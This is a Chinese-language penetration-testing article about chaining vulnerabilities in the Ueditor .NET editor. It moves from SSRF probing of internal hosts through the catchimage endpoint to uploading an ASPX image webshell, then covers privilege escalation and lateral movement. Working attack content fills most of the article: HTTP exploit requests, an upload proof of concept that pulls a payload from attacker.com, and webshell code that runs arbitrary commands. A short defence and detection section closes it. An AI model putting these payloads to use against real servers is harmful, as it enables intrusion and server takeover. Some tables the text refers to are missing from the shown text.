从攻击链视角剖析Ueditor .NET版本的渗透实战

当企业级富文本编辑器成为红队突破口时，Ueditor的.NET版本曾上演过一场精彩的漏洞交响曲。不同于单点漏洞的简单利用，真正的渗透艺术在于将多个中低危漏洞编织成完整的攻击链条。本文将还原一个典型的攻击场景：从SSRF内网探测到图片木马植入，最终实现服务器控制的完整过程。

1. 攻击面测绘与SSRF内网探测

任何有效的攻击都始于充分的信息收集。Ueditor的catchimage功能本意是让用户抓取网络图片到本地，但未对source[]参数做严格校验的特性，使其成为探测内网服务的绝佳通道。

1.1 基础探测手法

通过构造不同的URL参数，可以根据返回状态判断目标是否存在：

http复制POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

source[]=http://192.168.1.1:8080/favicon.ico?.jpg

关键响应特征对照表：

1.2 高级探测技巧

成熟的攻击者会结合以下方法提升探测效率：

• 批量扫描：使用Python脚本自动化测试C段常见端口
• 协议识别：通过响应时间差异判断Redis、MySQL等非HTTP服务
• DNS外带：构造特殊域名观察DNS查询日志

实际测试中发现，1.4.3.3版本对域名有校验机制，而1.5.0版本可直接使用IP地址，这直接影响攻击路径的选择

2. 文件上传漏洞的武器化利用

当发现存在SSRF漏洞后，攻击者往往会尝试升级到RCE。Ueditor.NET版本的文件上传漏洞提供了完美跳板。

2.1 构造图片木马

有效的ASPX图片马需要满足两个条件：

1. 保留合法的图片文件头（如GIF89a）
2. 包含可执行的ASPX代码

典型样本结构：

html复制GIF89a
<script runat="server" language="C#">
    void Page_Load(object sender, EventArgs e){
        System.IO.File.WriteAllText(
            Server.MapPath("shell.aspx"), 
            "<%@ Page Language=\"C#\"%><%System.Diagnostics.Process.Start(Request[\"cmd\"]);%>"
        );
    }
</script>

2.2 版本特异性利用

不同版本需要调整攻击方式：

实战中常用的上传POC：

http复制POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded

source[]=http://attacker.com/logo.gif?.aspx

3. 权限维持与横向移动

获取Webshell只是开始，专业红队会立即建立持久化通道。

3.1 环境指纹识别

通过执行cmd /c systeminfo收集以下关键信息：

• 操作系统版本
• 已安装补丁列表
• 域环境信息
• 运行服务列表

3.2 权限提升路径

在.NET环境中常见的提权方法包括：

• DLL劫持：利用弱目录权限替换常用DLL
• 服务配置不当：检查可修改的Windows服务
• AlwaysInstallElevated：检测MSI安装策略

曾遇到案例：通过Ueditor漏洞上传的Webshell，最终利用未打补丁的Print Spooler服务获取SYSTEM权限

4. 防御策略与检测方案

理解攻击手法是为了更好地防御。针对Ueditor漏洞链，建议分层防护：

4.1 基础防护措施

• 输入过滤：严格校验catchimage的source参数，限制内网地址
• 文件类型检查：使用MIME检测+文件头双重验证
• 权限控制：上传目录设置为不可执行

4.2 高级检测方案

python复制# 简易SSRF攻击检测脚本示例
def detect_ssrf(log_entry):
    patterns = [
        r'controller\.ashx\?action=catchimage',
        r'source\[\]=http://(127|192|10|172)\.'
    ]
    return any(re.search(p, log_entry) for p in patterns)

4.3 应急响应步骤

1. 立即下线受影响系统
2. 审查所有上传目录文件
3. 检查服务器日志中的异常连接
4. 更新到官方最新安全版本

在一次金融行业渗透测试中，正是通过Ueditor的这个漏洞链，我们用时37分钟就从外网渗透到域控服务器。这提醒我们：看似次要的编辑器组件，也可能成为整个防御体系的突破口。